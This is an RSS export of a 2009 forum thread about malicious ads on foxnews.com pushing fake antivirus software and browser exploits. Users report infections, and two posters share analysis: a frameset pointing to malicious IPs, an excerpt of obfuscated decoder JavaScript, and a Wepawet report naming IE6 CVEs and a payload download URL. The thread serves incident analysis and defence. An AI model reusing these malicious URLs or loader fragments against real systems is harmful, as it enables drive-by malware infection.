<pubDate>Mon, 20 Apr 2009 14:20:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266785</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : <div class="bquote"><small>said by HowDoesItWork :</small><br><br> <br>So it could infect you without requiring any form of consent from the user? Now that is weird. For IE, I wouldn't be surprised, but if Firefox or Opera would do the same, that would be strange. I'm further confused because mysec on the previous page posted that with Opera, it does pop up a download prompt, and if you cancel the download, it can't infect you. <br> </div>Part of the infection can be done with PDF documents. Adobe even put out a warning that they wouldn't have a fix for a month.  ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266785</guid>
<pubDate>Mon, 20 Apr 2009 14:19:21 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266731</link>
<description><![CDATA[<A HREF="/useremail/u/748785"><b>Carnivore</b></A> : I got this popup last night when I visited foxnews.com with IE8, and the fake virus scan began in a new window.<br><br>I forced the browser closed as quickly as I could with task manager, and ran a real scan with AVG 8.5 which appeared to be clean.  <br><br>Does anyone know if AVG effectively detects this infection, and/or what other steps should be taken to ensure this thing didn't get its tentacles into my system?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266731</guid>
<pubDate>Mon, 20 Apr 2009 14:11:07 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266556</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> :  <blockquote><small>quote:</small><hr>Yes, for clarification, If you decline the scan, it will do the fake scan anyway and impose a full screen in your browser. If you then choose "cancel" for the recommended install, it will proceed with the download. The warning that the user will get is from their system alerting them to the dangers of allowing an .exe file to run. They should be able to use their system at that point to block the install. However, prior to that point, "cancel" and "no" means "Yes".<hr></blockquote><br><br>Now I feel a little stupid, but I still don't understand how it works. It's business as usual that the popup has a bogus cancel button and the X close window button, and it tries to make you download their crapware anyway. But unless the browser does something completely wrong, there should eventually be a download prompt and you should then be able to cancel the whole thing, so it can't infect your system. If this isn't the case with this particular crapware, I would sure like to know how it accomplishes this feat, technically. There are exploits, but unless it uses an unknown, unpatched zero day vulnerability, that shouldn't work against a fully patched browser and plugins... <br><br> <blockquote><small>quote:</small><hr>Fully patched OS, IE, Java, FLASH, etc. I saw multiple popups and I did not click no but the "X" of the window. When I realized what was happening, I immediately shut the laptop down HARD. I pressed the power button until it shut off completely and restarted the system with the wi-fi off. When I saw no activity, I turned the wi-fi back on and immediately headed here to do some cleaning and that's when I found the issues I mentioned earlier. I then posted here about it.<hr></blockquote><br><br>So it could infect you without requiring any form of consent from the user? Now that is weird. For IE, I wouldn't be surprised, but if Firefox or Opera would do the same, that would be strange. I'm further confused because mysec on the previous page posted that with Opera, it does pop up a download prompt, and if you cancel the download, it can't infect you. <br><br>So, is there something in Opera that prevents this thing from insta-infection without any user consent that doesn't exist in IE or even Firefox? Hate to ask that many questions, but I don't understand the technique that this thing could possibly use to infect you instantly <i>without you accepting a download</i>, and then executing that download... aside from unpatched vulnerabilities. I wonder if the people infected by this were running as admin...]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266556</guid>
<pubDate>Mon, 20 Apr 2009 13:41:24 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266350</link>
<description><![CDATA[<A HREF="/useremail/u/853361"><b>Dude111</b></A> : Well if FOX knows about this and does nothing,they really do suck!!]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266350</guid>
<pubDate>Mon, 20 Apr 2009 13:08:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266197</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I'm curious. Not interested in knocking MS, but is this limited to windows? Any reports from mac or linux users? Thnx.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266197</guid>
<pubDate>Mon, 20 Apr 2009 12:42:04 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22266128</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : <div class="bquote"><small>said by HowDoesItWork :</small><br><br> <br>To moonpuppy, are you saying that you got infected by doing just browsing the site, not accepting any downloads, with a fully patched browser and fully patched plugins (flash, java, the usual)? If so, how does this thing do that? I'm confused.<br> </div>Fully patched OS, IE, Java, FLASH, etc.  I saw multiple popups and I did not click no but the "X" of the window. When I realized what was happening, I immediately shut the laptop down HARD. I pressed the power button until it shut off completely and restarted the system with the wi-fi off.  When I saw no activity, I turned the wi-fi back on and immediately headed here to do some cleaning and that's when I found the issues I mentioned earlier. I then posted here about it. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22266128</guid>
<pubDate>Mon, 20 Apr 2009 12:33:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265920</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by HowDoesItWork :</small><br><br> ... Shouldn't the browser still display a download dialog prompt, even if the popup is set to download anyway when you click on anything, including the no thanks button? Seems to me that it should, unless there's a serious flaw in the browser that makes it possible to download stuff without the user accepting the download. ... </div>Yes, for clarification, If you decline the scan, it will do the fake scan anyway and impose a full screen in your browser. If you then choose "cancel" for the recommended install, it will proceed with the download. The warning that the user will get is from their system alerting them to the dangers of allowing an .exe file to run. They should be able to use their system at that point to block the install. However, prior to that point, "cancel" and "no" means "Yes".<br><br>Be aware that as  mysec <A HREF="/useremail/u/1295721"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> points out, the initial popup redirect will also avail of the opportunity to look for several available exploits in the users system configuration.<br><br>The IP 78.47.132.222 also contains a frame that sources from: >http://redirectclicks.com/?accs=845&tid=338<br><br><textarea name="code" class="text" cols=50 rows=10>&lt;html&gt;&#012; &lt;head&gt;&#012;  &lt;title&gt;Advertisement&lt;/title&gt;&#012; &lt;/head&gt;&#012; &lt;frameset rows="1,*" cols="*"&gt;&#012; &lt;frame src="http://78.47.132.222/a12/index2.php" name="topFrame" scrolling="no" noresize&gt;&#012;&lt;frame src="http://redirectclicks.com/?accs=845&amp;tid=338" name="topFrame" scrilling="no" noresize&gt; &lt;/frameset&gt;&#012;&lt;/html&gt;&#012;</textarea><!--end code block--><br>redirectclicks.com is associated with multiple malware:<br>&raquo;<A HREF="http://www.google.com/search?hl=en&q=%22Traffic-go.com%22" >www.google.com/search?hl=en&q=%2&middot;&middot;&middot;o.com%22</A><br><br><b>Redirectclicks.com</b> is hosted once again on Hetzner Online AG (AS24940) at IP 88.198.69.115 [static.88-198-69-115.clients.your-server.de] alongside <b>Traffic-go.com</b> &raquo;<A HREF="http://www.google.com/search?hl=en&q=%22Traffic-go.com%22&btnG=Search" >www.google.com/search?hl=en&q=%2&middot;&middot;&middot;G=Search</A><br><br>Both of those criminal domains have infected thousands of sites. While the current focus is on the exploitation of foxnews.com. This is a global problem that infects users every where:<br><br>[att=1][att=2]<br><br>Fox needs to quickly identify the responsible advertiser/s and remove and suspend them. You can find victim reports of infection attacks from Fox going back well over a month. <br><br>Incidentally, while wading through the cesspools of cyberspace following the trail of <b>toppromooffer.com</b> I bumped into our friend "Cactus" from Moscow. Small world!!<br><br>MGD<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22265920?c=1421479&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="15834 bytes" BORDER=0 WIDTH=533 HEIGHT=480 SRC="/r0/download/1421479~227528d8a4aeead940eb563e3dc7e394/google_redirectclicks.png"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22265920?c=1421480&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="17881 bytes" BORDER=0 WIDTH=527 HEIGHT=543 SRC="/r0/download/1421480~11fae4432eb0a106eae04944213c2d24/google_traffictogo.png"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265920</guid>
<pubDate>Mon, 20 Apr 2009 11:58:21 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265838</link>
<description><![CDATA[<A HREF="/useremail/u/1115065"><b>amungus</b></A> : I am also interested in how it "hides" as well...<br><br>Last infection I got on one of my machines (first one in years), was likely due to an iframe.  That, or the unlikely chance that an infected gmail "news ticker" (whatever its called above the inbox - which I've disabled since then...) did it.<br><br>iframes have also been forbidden in noscript ever since that. <br><br>Agree with a post earlier - this is why I have zero qualms about using adblockplus, and especially noscript.  Two of the best plugins IMHO.<br><br>Was shocked, however, to still get an infection with these two plugins......  <br>iFrames have only been "forbidden" on the one machine I saw the infection on.  On others, I've left noscript at its default settings for the most part.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265838</guid>
<pubDate>Mon, 20 Apr 2009 11:46:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265737</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : The actual infection is pretty nicely covered with the existing comments here, but how does this malware actually hide?<br><br>The advertising is loaded from the advertising servers, i.e. it might be hosted there or it might be external contents that is injected in an iframe.<br><br>There are two ways that the fake av is initiated after this initial advertising loading.<br><br>Javascript redirect - done by hacking the server containing the ad and adding or modifying existing script files.<br><br>.htaccess redirect - done by hacking the server containing the ad and forcing a redirect based on the referrer. i.e. The ad can be displayed on multiple sites, but only if it is embedded in particular sites, will it trigger a redirect. - This is most often seen on search engine redirects.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265737</guid>
<pubDate>Mon, 20 Apr 2009 11:31:14 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265677</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : This is and FYI to all. After I cleaned my users PC and upgraded to the newest version of Symantec End Point Protection.   The only thing I did was open IE7, type www.foxnews.com, hit enter and immediately Symantec caught 3 different maleware files coming from the site. I didn't even have a chance to click.  I am setting up another PC to test with to see if it was a combination of add-ons and IE7 or just IE7.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265677</guid>
<pubDate>Mon, 20 Apr 2009 11:21:23 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265626</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> :  <blockquote><small>quote:</small><hr>Since many users are not aware of the fact that if they try to tell the pop-up "no thanks" by clicking on the usual "close" or "Cancel" buttons they see on their screen, they will probably get the download/install anyway ... I would think that it is a threat to even those with patched machines.<br><br>Not everyone knows to use Task Manager or other methods to get out of its grasp.<hr></blockquote><br><br>Shouldn't the browser still display a download dialog prompt, even if the popup is set to download anyway when you click on anything, including the no thanks button? Seems to me that it should, unless there's a serious flaw in the browser that makes it possible to download stuff without the user accepting the download. I mean, even if you click yes on the crapware popup, shouldn't there still be a download prompt from the browser, unless the browser is just insecure by design? Like this:<br><br>- you get served with the infected ad and popup<br>- you realize what's up and click on the X mark to close the popup<br>- the popup still tries to push the download on you<br>- your browser should alert you now that someone wants you to download something, and ask if you want to download the file, download and run it, or to just cancel the whole download<br><br>If it does work that way, then it's no threat to those who practice basic safe surfing. But I just don't know how this one works. <br><br>To moonpuppy, are you saying that you got infected by doing just browsing the site, not accepting any downloads, with a fully patched browser and fully patched plugins (flash, java, the usual)? If so, how does this thing do that? I'm confused.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265626</guid>
<pubDate>Mon, 20 Apr 2009 11:09:56 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265554</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : <div class="bquote"><small>said by HowDoesItWork :</small><br><br>So how does this infection work and is it really such a big deal? How does it actually infect your system?<br><br>Doesn't it just exploit some vulnerabilities in the usual suspects (IE, Adobe Reader, Flash, Java etc) or try to cheat the user to first click yes to the download prompt and then execute their scamware executable? If your software is patched and you have smarts enough to not click yes to everything, is this thing any threat at all? Or ks this a problem just for that mass of people who run with unpatched IE under admin account...<br><br>Thanks.<br> </div>I thought my system was fully patched. <br><br>I will say that I did NOT initiate any download and I NEVER click on pop-ups or any ads. In fact, IF I see something I like, I will manually copy the link and Google it first.  ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265554</guid>
<pubDate>Mon, 20 Apr 2009 10:55:46 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265489</link>
<description><![CDATA[<A HREF="/useremail/u/870884"><b>katarina</b></A> : <div class="bquote"><small>said by HowDoesItWork :</small><br><br>If your software is patched and you have smarts enough to not click yes to everything, is this thing any threat at all? <br> </div>Since many users are not aware of the fact that if they try to tell the pop-up "no thanks" by clicking on the usual "close" or "Cancel" buttons they see on their screen, they will probably get the download/install anyway ... I would think that it is a threat to even those with patched machines.<br><br>Not everyone knows to use Task Manager or other methods to get out of its grasp.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265489</guid>
<pubDate>Mon, 20 Apr 2009 10:45:02 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265449</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : So how does this infection work and is it really such a big deal? How does it actually infect your system?<br><br>Doesn't it just exploit some vulnerabilities in the usual suspects (IE, Adobe Reader, Flash, Java etc) or try to cheat the user to first click yes to the download prompt and then execute their scamware executable? If your software is patched and you have smarts enough to not click yes to everything, is this thing any threat at all? Or ks this a problem just for that mass of people who run with unpatched IE under admin account...<br><br>Thanks.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265449</guid>
<pubDate>Mon, 20 Apr 2009 10:34:46 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265401</link>
<description><![CDATA[<A HREF="/useremail/u/827318"><b>Bobby_Peru</b></A> : <div class="bquote"><small>said by JsMOM :</small><br><br>Infection seems to occur via FF and IE7.  I'm not in the mood to install adblockers or noscript company wide.<br> </div> Once upon a time, pre Adblock (in it's actual block calling and downloading iteration), WebWasher had an application for central deployment that you might want to check out.  Just a thought.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265401</guid>
<pubDate>Mon, 20 Apr 2009 10:25:30 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265296</link>
<description><![CDATA[<A HREF="/useremail/u/816913"><b>evergreek</b></A> : I received the same pop up yesterday! Scanned my pc, everything seems ok.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265296</guid>
<pubDate>Mon, 20 Apr 2009 10:05:43 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265274</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I unfortunately had to ask my entire company to stop visiting FOXNEWS.  We will probably end up blacklisting it today via OpenDNS.  FOXNEWS better make this a huge priority as I'm certain we are not the first, nor will be the last company to do so.  Vundo, Bloodhound, etc all have been blocked by Symantec AV, however others have crept in and Malewarebyte's AM was used in safemode as well as Symantec AV to scrub the little PITA's out.<br><br>Infection seems to occur via FF and IE7.  I'm not in the mood to install adblockers or noscript company wide.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265274</guid>
<pubDate>Mon, 20 Apr 2009 10:01:34 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265235</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : Maybe this will provide more of a push for Fox News to deal with this problem: &raquo;<A HREF="/shownews/FoxNewscom-Serving-Up-Infected-Ads-101995">FoxNews.com Serving Up Infected Ads?</A><br><small>--<br><A HREF="http://www.dslreports.com/r0/download/1370721~74256f2b8b4b5b881ae82d211fa2c6ad/couch.jpg">goodbye dad</a></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265235</guid>
<pubDate>Mon, 20 Apr 2009 09:53:00 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265211</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I left my Home Laptop on over night on Foxnews.com (Nothing Else open) and my Laptop Antivirus (Symantec) Picked Up Bloodhound.Exploit.  Also, a user in my office was slammed with 3 different maleware issues (She claimed came from Foxnews) and after i cleaned them all I installed the latest Symantec EndPoint Protection and went back to Foxnews.com and sure enough it picked up 3 different maleware trojans.  It stopped all three and I then removed any IE7 Add-Ons and went back to the site and nothing happened.    There is something about that site.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265211</guid>
<pubDate>Mon, 20 Apr 2009 09:48:26 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22265181</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : Nothing against foxnews - it's their advertising that is acting up and spreading the malware. Likely without them even realizing this is going on.<br><br>I've now established contact with foxnews and they are looking into this very seriously.<br><br>Cometcom1]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22265181</guid>
<pubDate>Mon, 20 Apr 2009 09:41:23 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22264914</link>
<description><![CDATA[<A HREF="/useremail/u/307353"><b>Sentinel</b></A> : I still have no problems on FoxNews.com. I am using Firefox with NoScript and FlashBlock and I use a hosts file to block ads as well.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22264914</guid>
<pubDate>Mon, 20 Apr 2009 08:16:51 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22264858</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : Just to confirm. Still being targeted here as well. Fake antivirus type redirection.<br><br>As I expected, there's likely a reinfection timer that checks when an IP was last infected to avoid reinfection over at least 24 hours. - My tests seem to indicate that this is not done with cookies.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22264858</guid>
<pubDate>Mon, 20 Apr 2009 07:57:14 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22264574</link>
<description><![CDATA[<A HREF="/useremail/u/1295721"><b>mysec</b></A> : Thanks for the information!<br><br>The Fox News link you gave must be fixed - it didn't redirect anywhere; I used your malware links manually.<br><br>I get different results, depending on the browser.<br><br><div class="bquote"><small>said by  MGD <A HREF="/useremail/u/666842"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A>  :</small><br><br>A download process of <b>vsm_free_setup.exe</b> also began from <b>toppromooffer.com</b> </div><br>Using Opera, all that happens is the display of a Prompt to Download, which maybe is what you meant:<br><br>[att=1]<br><br>The victim still has to initiate the download.<br><br>BTW - the exploit requires JavaScript to be enabled: <br><br><textarea name="code" class="text" cols=50 rows=10>script language="javascript" src="../../etc/config.js"&gt;&lt;/script&gt;&#012;script language="javascript"&gt;&#012;//CONFIG.AGRESSION.EX.VAL = 5;&#012;/script&gt;&#012; &#012;SCRIPT src="img/jquery.js" &#012;type=text/javascript&gt;&lt;/SCRIPT&gt;&#012; &#012;SCRIPT src="img/jquery-init.js" &#012;type=text/javascript&gt;&lt;/SCRIPT&gt;&#012; &#012;SCRIPT src="img/flist.js" &#012;type=text/javascript&gt;&lt;/SCRIPT&gt;&#012; &#012;&lt;SCRIPT&#012;</textarea><!--end code block--><br>Without these files, nothing happens. To test, I disabled JavaScript in Opera and got a blank page.<br><br>Using IE6 with 78.47.132.... that you gave, the browser locked up and then an alert to a remote code execution exploit:<br><br>[att=2]<br><br>The Page Code has this (excerpt):<br><br><textarea name="code" class="text" cols=50 rows=10>&lt;html &lt;body&gt; script language="javascript"&gt;try { function&#012; MxKrzZOSqYbxzW(IgKhV){var tOdCnZgx="",beVpC,PTfki,&#012;yemjblcpAo,yAFgXcIB,WGmxZNPUc,zItDdLHBVJ,kjqrOKMSP,IdVpm,&#012;sANfyVmBOC;var gWyitpZ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy&#012;z0123456789+/=";var aRzhby="";for(IdVpm=0;IdVpm&lt;IgKhV.&#012; &#012;length;){yAFgXcIB=gWyitpZ.indexOf(IgKhV.charAt(IdVpm++));&#012;WGmxZNPUc=gWyitpZ.indexOf(IgKhV.charAt(IdVpm++));&#012;sANfyVmBOC=MxKrzZOSqYbxzW;zItDdLHBVJ=gWyitpZ.indexOf(IgKhV.&#012;charAt(IdVpm++));kjqrOKMSP=gWyitpZ.indexOf(IgKhV.&#012;charAt(IdVpm++));beVpC=(yAFgXcIB&lt;&lt;2)+(WGmxZNPUc&gt;&gt;4);&#012;PTfki=((WGmxZNPUc&amp;15)&lt;&lt;4)+(zItDdLHBVJ&gt;&gt;2);&#012; &#012;</textarea><!--end code block--><br>With some help from Wepawet:<br><br><textarea name="code" class="text" cols=50 rows=10>Analysis report for index2&#91;1&#93;.htm&#012;Detector Result: malicious&#012; &#012;Exploits&#012; &#012;1. DirectAnimation PathControlHeap-based buffer overflow in the DirectAnimation Path Control (DirectAnimation.&#012;PathControl) COM object (daxctle.ocx) &#012;for Internet Explorer 6.0 CVE-2006-4777&#012; &#012;2. Office Snapshot ViewerThe Microsoft Office Snapshot Viewer&#012;ActiveX control allows remote attackers to download &#012;arbitrary files to a client machineCVE-2008-2463&#012; &#012;3. MDACArbitrary file download via the Microsoft Data Access&#012;Components (MDAC)CVE-2006-0003&#012; &#012;4. WebViewFolder integer overflow via the setSlice method&#012;CVE-2006-3730&#012; &#012;Deobfuscation results&#012;Methods&#012; &#012;GetSpecialFolder 2; BuildPath: w32NOFJCyliz5mm5R.exe&#012;GET  http://78.47.132.221/a12/aff_12.exe?&#012; &#012;Malware&#012;aff_12.exe?u=i_6_0&amp;spl=11MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit&#012;</textarea><!--end code block--><br>The 3rd exploit (aka MS06-014) is the one I was served up. The clue is:<br><br><textarea name="code" class="text" cols=50 rows=10>GetSpecialFolder 2; BuildPath: w32NOFJCyliz5mm5R.exe&#012;</textarea><!--end code block--><br>Special Folder 2 is code for the Temp folder and in the alert you can see that this file was not found because aff_12 was blocked from downloading and renaming to w32NOFJCyliz5mm5R.exe <br><br>According to the analysis, all exploits downloaded the same payload.<br><br>VirusTotal Result: 2/40<br>&raquo;<A HREF="http://www.virustotal.com/analisis/178df75e3f4aeea314b8603ba2f50448" >www.virustotal.com/analisis/178d&middot;&middot;&middot;a2f50448</A><br><br>It is rather common today that a malware site determines the browser and serves up exploits accordingly. All of these are IE6 exploits which would have no effect on other browsers. <br><br>This is the 3rd exploit I've seen recently where the exact same thing happens: IE6 gets served a batch of exploits looking for an unpatched vulnerability, Opera gets something else.<br><br>This shows a level of sophistication and efficiency on the part of the malware community these days.<br><br>I recently downloaded Firefox to test sites. This is what occurred with Javascript enabled in Options:<br><br>[att=3]<br><br>Even clicking "Ignore" would not load the page. It took me awhile to find the security setting.<br><br>Trying again, I'm served up a PDF exploit. From the code analysis:<br><br><textarea name="code" class="text" cols=50 rows=10>Network Activity&#012;Requests&#012;URL:  http://78.47.132.221/a12/pdf.php?u=i_6_0&#012;</textarea><!--end code block--><br>[att=4]<br><br>But it requires the Acobe Acrobat Javascript plugin which I've removed:<br><br>[att=5]<br><br>Different browser, different exploit. And that might change at any time!<br><br>And so it goes... <br><br>Edit: added code excerpt<br><br><br>----<br>rich<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264574?c=1421359&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="57440 bytes" BORDER=0 WIDTH=598 HEIGHT=617 SRC="/r0/download/1421359~e16505d2265e0d55e5caa81a0aeb75ce/FoxNews.gif"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264574?c=1421366&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="31343 bytes" WIDTH=600 HEIGHT=551 SRC="/r0/download/1421366.thumb600~18eee52ed52080985b9acfc527eed07a/FoxNewsIE.gif/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264574?c=1421374&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="31576 bytes" WIDTH=600 HEIGHT=382 SRC="/r0/download/1421374.thumb600~d270195c32705c4a0cefcbdc9a02a17e/FoxNewsFF.gif/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264574?c=1421378&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="113866 bytes" WIDTH=600 HEIGHT=500 SRC="/r0/download/1421378.thumb600~baa6d5dd5fafa55ca29c4fa1a422aaaf/FoxNewsFFpdf-1.gif/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264574?c=1421379&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="18035 bytes" BORDER=0 WIDTH=551 HEIGHT=362 SRC="/r0/download/1421379~a2fc6c58fff60fd7b440d92c0439663a/FoxNewsFFpdf-2.gif"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22264574</guid>
<pubDate>Mon, 20 Apr 2009 03:05:59 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22264126</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : I can confirm what other recent posters have experienced today. I now categorize foxnews.com as infested. Remember that a user need only visit a page at foxnews.com to trigger the malware popup. It is not the result of clicking on any add.<br><br>While on this page at 16:57 EST &raquo;<A HREF="http://www.foxnews.com/story/0,2933,517084,00.html" >www.foxnews.com/story/0,2933,517084,00.html</A> the following was generated:<br><br>  <blockquote><small>quote:</small><hr>19.04.2009  16:57:21  Network Shield: blocked access to malicious site 78.47.132.222/a12/index.php?url=http://truconv.com/?a=125&s=4a12 [ C:\Program Files\Internet Explorer\IEXPLORE.EXE ( 3388 ) ]<br><hr></blockquote><br><br>Allowing the process to proceed generated this:<br><br>[att=1]<br><br>Then the page hijacking scan:<br><br>[att=2]<br><br>A download process of <b>vsm_free_setup.exe</b> also began from <b>toppromooffer.com</b><br><br>[att=3]<br><br>While there are many who classify these fake AV programs as "Scareware", I disagree. While the the first phase of the process will involve charging a victim's card ~ $70, followed by numerous other charges in the following days and weeks. I have yet to see an infected system that did not have subsequent installs of key loggers, and back door trojans that turned it into a bot and enabled remote access. That observation is supported by the repeated analysis of these payload installs.<br><br>The downloaded file <b>vsm_free_setup.exe</b> was already in VrusTotal's database from a recent submit, and a fresh analysis of this file generated: &raquo;<A HREF="http://www.virustotal.com/analisis/26be3f85286b0734f235f5fc95f80e26" >www.virustotal.com/analisis/26be&middot;&middot;&middot;95f80e26</A> However if you review the related ThreatExpert analysis: &raquo;<A HREF="http://www.threatexpert.com/report.aspx?md5=feed65765e05fcf542ff797147a88f8f" >www.threatexpert.com/report.aspx&middot;&middot;&middot;47a88f8f</A><br><br>Take note of the following excerpts:<br><br>------------------------------<br>Analysis of the file resources indicate the following possible countries of origin:<br><br>Russian Federation<br><br>Ukraine<br>------------------------------<br><br><b>Possible Security Risk</b> <br><br>Attention! The following threat categories were identified:<br><br>&#8226;A keylogger program that can capture all user keystrokes (including confidential details such username, password, credit card number, etc.)<br><br>&#8226;A program that downloads files to the local computer that may represent security risk<br>------------------------------<br><br>It is indeed disingenuous to only classify these as "Scareware", that undermines the severity of the crime.<br><br>The download location also hosts a benign page for the malware:<br><br><div class="borderless siteshot"><small>Snapped 2009-04-19 23:32:14 <A HREF="/faq/7513" TITLE="Snap-shot of 